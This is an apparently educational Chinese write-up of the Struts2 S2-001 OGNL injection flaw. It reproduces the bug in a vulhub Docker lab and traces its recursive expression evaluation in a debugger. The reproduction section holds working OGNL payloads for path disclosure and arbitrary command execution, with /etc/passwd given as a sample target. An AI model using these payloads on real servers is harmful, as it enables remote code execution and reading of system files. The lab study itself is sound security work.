一、原理
(一)概述
搭建环境后,查看参考link,可了解相关信息。
读者人群 | 所有Struts 2 开发者 |
---|---|
漏洞影响 | 远程代码执行 |
影响程度 | 重大 |
影响软件 | WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 – WebWork 2.2.5, Struts 2.0.0 – Struts 2.0.8 |
(二)原理
漏洞的产生在于WebWork 2.1 和Struts 2的’altSyntax’配置允许OGNL 表达式被插入到文本字符串中并被递归处理(Struts2框架使用OGNL作为默认的表达式语言,OGNL是一种表达式语言,目的是为了在不能写Java代码的地方执行java代码;主要作用是用来存数据和取数据的)。这就导致恶意用户可以提交一个字符串(通常通过HTML的text字段),该字符串包含一个OGNL表达式,在表单验证失败后,此表达式会被server执行。例如,下面的表单默认不允许’phoneNumber’字段为空。
<s:form action="editUser">
<s:textfield name="name" />
<s:textfield name="phoneNumber" />
</s:form>
此时,恶意用户可以将phoneNumber字段置空以触发验证错误,再控制name字段的值为 %{1+1}。当表单被重新展示给用户时,name字段的值将为2。产生这种情况的原因是这个字段默认被当作%{name}处理,由于OGNL表达式被递归处理,处理的效果等同于%{%{1+1}}。实际上,相关的OGNL解析代码在XWork组件中,并不在WebWork 2或Struts 2内。
用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以构造 payload 进行命令执行。
提交表单并验证失败时,由于Strust2默认会原样返回用户输入的值而且不会跳转到新的页面,因此当返回用户输入的值并进行标签解析时,如果开启了altSyntax,会调用translateVariables方法对标签中表单名进行OGNL表达式递归解析返回ValueStack值栈中同名属性的值。因此我们可以构造特定的表单值让其进行OGNL表达式解析从而达到任意代码执行。
二、调试
(一)环境搭建
使用vulhub/struts2/s2-001
docker-compose build
docker-compose up -d
为了动态调试,我们将IDEA中默认生成的这句话append到 Tomcat 的 bin 目录下的catalina.sh
文件(如果是 Windows 系统则修改catalina.bat
文件),
export JAVA_OPTS='-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8001'
原docker-compose.yml修改如下,
version: '2'
services:
tomcat:
build: .
ports:
- "8080:8080"
- "8001:8001"
environment:
TZ: Asia/Shanghai
JPDA_ADDRESS: 8001
JPDA_TRANSPORT: dt_socket
command: ["catalina.sh", "jpda", "run"]
networks:
- default
调用栈将docker-compose down
之后再docker-compose up -d
,即可正常使用idea调试。
接下来将webapps/ROOT/WEB-INF下的lib和classes都加入idea的lib。
(二)复现
环境搭建完毕后访问http://xxxx:8080/查看结果,
其中的password存在漏洞,用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。
在translateVariables方法中,递归解析表达式,在处理完%{password}后将password的值直接取出并继续在while循环中解析,若用户输入的password是恶意的ognl表达式,则得以解析执行。
按照vulhub的提示,我们可以使用如下命令获取tomcat执行路径:
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
重新渲染后,password字段已经变为执行结果。
相应的可以执行其他命令,这里不过多展示。
获取Web路径:
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
执行任意命令(命令加参数:new java.lang.String[]{"cat","/etc/passwd"}
):
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
(三)调试
Struts运行流程如下:
1.用户发出请求
Tomcat接收请求,并选择处理该请求的Web应用。
2.web容器去相应工程的web.xml
在web.xml中进行匹配,确定是由struts2的过滤器FilterDispatcher(StrutsPrepareAndExecuteFilter)来处理,找到该过滤器的实例(初始化)。
3.找到FilterDispatcher,回调doFilter()
通常情况下,web.xml文件中还有其他过滤器时,FilterDispatcher是放在滤器链的最后;如果在FilterDispatcher前出现了如SiteMesh这种特殊的过滤器,还必须在SiteMesh前引用Struts2的ActionContextCleanUp过滤器。
4.FilterDispatcher将请求转发给ActionMapper
ActionMapper负责识别当前的请求是否需要Struts2做出处理。
5.ActionMapper告诉FilterDispatcher,需要处理这个请求,建立ActionProxy
FilterDispatcher会停止过滤器链以后的部分,所以通常情况下:FilterDispatcher应该出现在过滤器链的最后。然后建立一个ActionProxy对象,这个对象作为Action与xwork之间的中间层,会代理Action的运行过程.
6.ActionProxy询问ConfigurationManager,读取Struts.xml
ActionProxy对象询问ConfigurationManager问要运行哪个Action。ConfigurationManager负责读取并管理struts.xml的(可以理解为ConfigurationManager是struts.xml在内存中的映像)。在服务器启动的时候,ConfigurationManager会一次性的把struts.xml中的所有信息读到内存里,并缓存起来,以保证ActionProxy拿着来访的URL向他询问要运行哪个Action的时候,就可以直接查询。
7.ActionProxy建立ActionInvocation对象
ActionProxy获取了要运行的Action、相关的拦截器以及所有可能使用的result信息,开始建立ActionInvocation对象,ActionInvocation对象描述了Action运行的整个过程。
8.在execute()之前的拦截器
在execute()之前会执行很多默认的拦截器。拦截器的运行被分成两部分,一部分在Action之前运行,一部分在Result之后运行,且顺序是相反的。如在Action执行前的顺序是拦截器1、拦截器2、拦截器3,那么运行Result之后,再次运行拦截器的时候,顺序就是拦截器3、拦截器2、拦截器1。
9.执行execute()方法
10.根据execute方法返回的结果,也就是Result,在struts.xml中匹配选择下一个页面
11.找到模版页面,根据标签库生成最终页面
12.在execute()之后执行的拦截器,和8相反
13.ActionInvocation对象执行完毕
这时候已经得到了HttpServletResponse对象了,按照配置定义相反的顺序再经过一次过滤器,向客户端展示结果。
前半部分调用栈如下,
translateVariables:119, TextParseUtil (com.opensymphony.xwork2.util)
translateVariables:71, TextParseUtil (com.opensymphony.xwork2.util)
findValue:313, Component (org.apache.struts2.components)
evaluateParams:723, UIBean (org.apache.struts2.components)
end:481, UIBean (org.apache.struts2.components)
doEndTag:43, ComponentTagSupport (org.apache.struts2.views.jsp)
_jspx_meth_s_005ftextfield_005f1:16, index_jsp (org.apache.jsp)
_jspx_meth_s_005fform_005f0:16, index_jsp (org.apache.jsp)
_jspService:14, index_jsp (org.apache.jsp)
service:70, HttpJspBase (org.apache.jasper.runtime)
service:742, HttpServlet (javax.servlet.http)
...
发送请求,FilterDispatcher.doFilter被触发,这其中调用FilterDispatcher.serviceAction,
invokeAction调用了action(LoginAction)的method(execute),
继续运行,断在LoginAction.execute(),
显然,username不为admin,表单验证失败,此时Strust2默认会调用translateVariables方法对标签中表单名进行OGNL表达式递归解析返回ValueStack值栈中同名属性的值。
中间有若干底层流程,略过,我们直接在doStartTag()下断,
本函数的功能是开始解析标签,
继续向下,开始加载第一个TextField,
接下来如果配置正确(我反正没有配置正确?,只能看到下图),应该会进入jsp页面中,便可以清晰的看到jsp页面被逐标签解析。
当加载到/>
时,会进入doEndTag()函数,从名字可以判断,此函数的功能大概是完成对一个标签的解析,因为调试时payload放在了password里面,因而此处对于username的解析不过展示。
此时前面的tag已经被展示出来,未进入doStartTag的password字段没有显示。
接下来我们快进到第二个TextField(password)的doEndTag()。
跟进this.component.end(),进入了org.apache.struts2.components.UIBean#end
,
跟进this.evaluateParams();,
快进到this.altSyntax()处,
前面提到,altSyntax默认是开启的,接下来的expr显而易见为%{password},
跟进this.findValue(expr, valueClazz),
由前面可知,TextField 的valueClassType为class java.lang.String,且altSyntax默认开启,
因此将会进入TextParseUtil.translateVariables(‘%’, expr, this.stack);,
步入,进入translateVariables,
二级步入,将进入调试的主体部分translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator)
,
此处传入的expression为%{password},
接下来的while循环的目的是确定start和end的位置,
此处显然不会进入if,
接下来,取出%{}表达式中的值,赋值给var,
然后调用stack.findValue(var, asType)
,由前面可知,此处的stack为OgnlValueStack
,OgnlValueStack
是ValueStack的实现类。
valueStack是struts2的值栈空间,是struts2存储数据的空间,是一个接口,struts2使用OGNL表达式实际上是使用实现了ValueStack接口的类OgnlValueStack(它是ValueStack的默认实现类)。
客户端发起一个请求时,struts2会创建一个Action实例同时创建一个OgnlValueStack值栈实例,OgnlValueStack贯穿整个Action的生命周期。Struts2中使用OGNL将请求Action的参数封装为对象存储到值栈中,并通过OGNL表达式读取值栈中的对象属性值。
ValueStack中有两个主要区域
- CompoundRoot 区域:是一个ArrayList,存储了Action实例,它作为OgnlContext的Root对象。获取root数据不需要加
#
- context 区域:即OgnlContext上下文,是一个Map,放置web开发常用的对象数据的引用。request、session、parameters、application等。获取context数据需要加#
操作值栈,通常指的是操作ValueStack中的root区域。
ValueStack类的setValue和findValue方法可以设置和获得Action对象的属性值。OgnlValueStack的findValue方法可以在CompoundRoot中从栈顶向栈底找查找对象的属性值。
跟进findValue(),
由函数名可以推测, 这一函数的功能是查找expr对应的值,且此函数最终要return value
,我们可以大胆设想,value变量是本函数的重点,如此,则需要重点关注对value进行操作的函数OgnlUtil.getValue,
跟进,
compile对’password’进行解析,返回了适用的结果。
接下来跟进Ognl.getValue,看起来此函数会结合root和context进行value的获取。
显然,这里我们要关注的是result变量,这就需要跟进((Node)tree).getValue(ognlContext, root)。
显然会进入下面的else分支,
跟进之,
看起来,经历了若干级的调用,最终有效的是this.getValueBody(context, source),
跟进,可以看到再向下跟进最终是将password字段的值加载了进来。
不再深入跟进了,感觉好像没什么意义了?,此时单单getValue的调用栈已经有几层了。
getProperty:1643, OgnlRuntime (ognl)getValueBody:92, ASTProperty (ognl)evaluateGetValueBody:170, SimpleNode (ognl)getValue:210, SimpleNode (ognl)getValue:333, Ognl (ognl)getValue:194, OgnlUtil (com.opensymphony.xwork2.util)findValue:238, OgnlValueStack (com.opensymphony.xwork2.util)
接下来步出几层,回到translateVariables:122, TextParseUtil (com.opensymphony.xwork2.util),
接下来经过拼接操作,expression被赋值,
我们观察到,此while循环只有一个出口,那就是if (start == -1 || end == -1 || count != 0),因此这里进行完expression的赋值后,会开启新的一轮while。
这里我们可以看出,translateVariables无意之间递归解析了表达式,我们的password字段放置了%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
这样一个包含%{expression}
的字符串,%{password}的结果将再次被当作expression解析,就可能造成恶意ognl表达式的执行。
此次循环中,进入findValue的var是去掉前两个字符的expression,也就是tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}
。
接下来跟进findValue(),这里的流程和上面是一样的,重点应该还是跟进OgnlUtil.getValue,
和刚才相同的流程,深入跟进至evaluateGetValueBody:170, SimpleNode (ognl)
getValue:210, SimpleNode (ognl),
跟进,
在对于第一行的getValue()进行跟进几层之后,经过了一些表达式执行的操作,得到了result的第一部分。
接下来的for循环,会继续执行完整表达式%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
的其他部分。
深入跟进时,发生了一些有趣的事情,
这里调用了System.getProperty(),实际上实现了代码执行。
回到getValueBody,此时result已经被add上了新的一部分,
各部分add之后,最终的result如下。
逐级步出,回到TextParseUtil.translateVariables,expression被拼接为tomcatBinDir{/usr/local/tomcat},开启一个新的循环。
但是此时,open为%,expression.indexOf(open + “{“)为-1,而start为-1时,将会return。
简单跟进一下,
可以猜测,这里是将Object类型的o转化为普通的字符串。
接下来简单步出,可将流程结束。
三、收获与启示
借助学习和调试,了解了Struts2的运转流程,简单学习了OGNL表达式,增强了分析能力。
参考链接
https://blog.csdn.net/qq_37602797/article/details/108121783
http://wechat.doonsec.com/article/?id=308b4bab7df3ecdb3bdda6fe1e026ac6
https://blog.csdn.net/qq_43571759/article/details/105122443
https://blog.csdn.net/Auuuuuuuu/article/details/86775808
https://blog.csdn.net/weixin_44508748/article/details/105472482
https://cloud.tencent.com/developer/article/1598043
https://www.jianshu.com/p/99705a8ad3c3
https://blog.csdn.net/yu102655/article/details/52179695